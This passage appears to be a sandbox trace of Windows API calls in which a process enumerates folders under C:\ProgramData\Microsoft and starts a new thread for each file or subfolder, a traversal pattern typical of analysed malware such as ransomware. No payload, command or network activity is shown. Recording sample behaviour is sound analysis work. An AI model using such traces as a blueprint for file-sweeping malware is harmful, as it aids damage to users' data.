_Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0046.174] wcscat (in: _Dest=0x400018, _Source="guest.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0046.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc [0046.175] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0046.175] wcscmp (_String1="user.bmp", _String2=".") returned 1 [0046.175] wcscmp (_String1="user.bmp", _String2="..") returned 1 [0046.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4189b0 [0046.175] wcscpy (in: _Dest=0x4189b0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0046.175] wcscat (in: _Dest=0x4189b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0046.175] wcscat (in: _Dest=0x4189b0, _Source="user.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0046.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4189b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0046.176] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0046.176] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0046.176] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42d850) returned 1 [0046.176] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420fc8) returned 1 [0046.176] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41beb8) returned 1 Thread: id = 164 os_tid = 0x210 [0046.183] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x445040 [0046.183] wcscpy (in: _Dest=0x445040, _Source="C:\\ProgramData\\Microsoft\\Vault" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault" [0046.183] wcscat (in: _Dest=0x445040, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\") returned="C:\\ProgramData\\Microsoft\\Vault\\" [0046.183] wcscat (in: _Dest=0x445040, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\*") returned="C:\\ProgramData\\Microsoft\\Vault\\*" [0046.183] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42d850 [0046.183] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ea8 [0049.787] wcscmp (_String1=".", _String2=".") returned 0 [0049.787] FindNextFileW (in: hFindFile=0x409ea8, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.787] wcscmp (_String1="..", _String2=".") returned 1 [0049.787] wcscmp (_String1="..", _String2="..") returned 0 [0049.787] FindNextFileW (in: hFindFile=0x409ea8, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.787] FindClose (in: hFindFile=0x409ea8 | out: hFindFile=0x409ea8) returned 1 [0049.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42d850) returned 1 [0049.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445040) returned 1 [0049.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402720) returned 1 Thread: id = 165 os_tid = 0x310 [0046.186] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x445090 [0046.186] wcscpy (in: _Dest=0x445090, _Source="C:\\ProgramData\\Microsoft\\VISIO" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO" [0046.186] wcscat (in: _Dest=0x445090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO\\") returned="C:\\ProgramData\\Microsoft\\VISIO\\" [0046.186] wcscat (in: _Dest=0x445090, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO\\*") returned="C:\\ProgramData\\Microsoft\\VISIO\\*" [0046.186] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0046.186] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409fa8 [0049.784] wcscmp (_String1=".", _String2=".") returned 0 [0049.784] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.784] wcscmp (_String1="..", _String2=".") returned 1 [0049.784] wcscmp (_String1="..", _String2="..") returned 0 [0049.784] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.784] FindClose (in: hFindFile=0x409fa8 | out: hFindFile=0x409fa8) returned 1 [0049.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dab8) returned 1 [0049.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445090) returned 1 [0049.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402768) returned 1 Thread: id = 166 os_tid = 0x438 [0046.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x4450e0 [0046.187] wcscpy (in: _Dest=0x4450e0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.187] wcscat (in: _Dest=0x4450e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.187] wcscat (in: _Dest=0x4450e0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\*" [0046.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dd20 [0046.187] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0046.187] wcscmp (_String1=".", _String2=".") returned 0 [0046.187] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.187] wcscmp (_String1="..", _String2=".") returned 1 [0046.187] wcscmp (_String1="..", _String2="..") returned 0 [0046.187] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIT", cAlternateFileName="")) returned 1 [0046.187] wcscmp (_String1="AIT", _String2=".") returned 1 [0046.187] wcscmp (_String1="AIT", _String2="..") returned 1 [0046.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414888 [0046.187] wcscpy (in: _Dest=0x414888, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.187] wcscat (in: _Dest=0x414888, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.188] wcscat (in: _Dest=0x414888, _Source="AIT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT" [0046.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0046.188] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9b86da60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9b86da60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1 [0046.188] wcscmp (_String1="Caches", _String2=".") returned 1 [0046.188] wcscmp (_String1="Caches", _String2="..") returned 1 [0046.188] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x4148e0 [0046.188] wcscpy (in: _Dest=0x4148e0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.189] wcscat (in: _Dest=0x4148e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.189] wcscat (in: _Dest=0x4148e0, _Source="Caches" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Caches") returned="C:\\ProgramData\\Microsoft\\Windows\\Caches" [0046.189] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4148e0) returned 1 [0046.189] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataStore", cAlternateFileName="DEVICE~1")) returned 1 [0046.189] wcscmp (_String1="DeviceMetadataStore", _String2=".") returned 1 [0046.189] wcscmp (_String1="DeviceMetadataStore", _String2="..") returned 1 [0046.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418c80 [0046.189] wcscpy (in: _Dest=0x418c80, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.189] wcscat (in: _Dest=0x418c80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.189] wcscat (in: _Dest=0x418c80, _Source="DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0046.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0046.190] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0046.190] wcscmp (_String1="DRM", _String2=".") returned 1 [0046.190] wcscmp (_String1="DRM", _String2="..") returned 1 [0046.190] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x4148e0 [0046.190] wcscpy (in: _Dest=0x4148e0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.190] wcscat (in: _Dest=0x4148e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.190] wcscat (in: _Dest=0x4148e0, _Source="DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM" [0046.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4148e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0046.191] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0046.191] wcscmp (_String1="GameExplorer", _String2=".") returned 1 [0046.191] wcscmp (_String1="GameExplorer", _String2="..") returned 1 [0046.191] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445d78 [0046.191] wcscpy (in: _Dest=0x445d78, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.191] wcscat (in: _Dest=0x445d78, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.191] wcscat (in: _Dest=0x445d78, _Source="GameExplorer" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" [0046.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0046.192] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Efficiency Diagnostics", cAlternateFileName="POWERE~1")) returned 1 [0046.192] wcscmp (_String1="Power Efficiency Diagnostics", _String2=".") returned 1 [0046.192] wcscmp (_String1="Power Efficiency Diagnostics", _String2="..") returned 1 [0046.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x446908 [0046.193] wcscpy (in: _Dest=0x446908, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.193] wcscat (in: _Dest=0x446908, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.193] wcscat (in: _Dest=0x446908, _Source="Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0046.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0046.194] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1 [0046.194] wcscmp (_String1="Ringtones", _String2=".") returned 1 [0046.194] wcscmp (_String1="Ringtones", _String2="..") returned 1 [0046.194] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x449fb0 [0046.194] wcscpy (in: _Dest=0x449fb0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.194] wcscat (in: _Dest=0x449fb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.194] wcscat (in: _Dest=0x449fb0, _Source="Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0046.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0046.195] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sqm", cAlternateFileName="")) returned 1 [0046.195] wcscmp (_String1="Sqm", _String2=".") returned 1 [0046.195] wcscmp (_String1="Sqm", _String2="..") returned 1 [0046.195] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414938 [0046.195] wcscpy (in: _Dest=0x414938, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.195] wcscat (in: _Dest=0x414938, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.195] wcscat (in: _Dest=0x414938, _Source="Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0046.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0046.196] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0046.196] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0046.196] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0046.196] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a4f0 [0046.196] wcscpy (in: _Dest=0x44a4f0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.196] wcscat (in: _Dest=0x44a4f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.196] wcscat (in: _Dest=0x44a4f0, _Source="Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0046.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0046.197] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0046.197] wcscmp (_String1="Templates", _String2=".") returned 1 [0046.197] wcscmp (_String1="Templates", _String2="..") returned 1 [0046.197] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a550 [0046.198] wcscpy (in: _Dest=0x44a550, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0046.198] wcscat (in: _Dest=0x44a550, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0046.198] wcscat (in: _Dest=0x44a550, _Source="Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates" [0046.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0046.199] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42dd20 | out: lpFindFileData=0x42dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1 [0046.199] wcscmp (_String1="WER", _String2=".") returned 1 [0046.199] wcscmp (_String1="WER", _String2="..") returned 1 [0046.199] RtlAllocateHeap 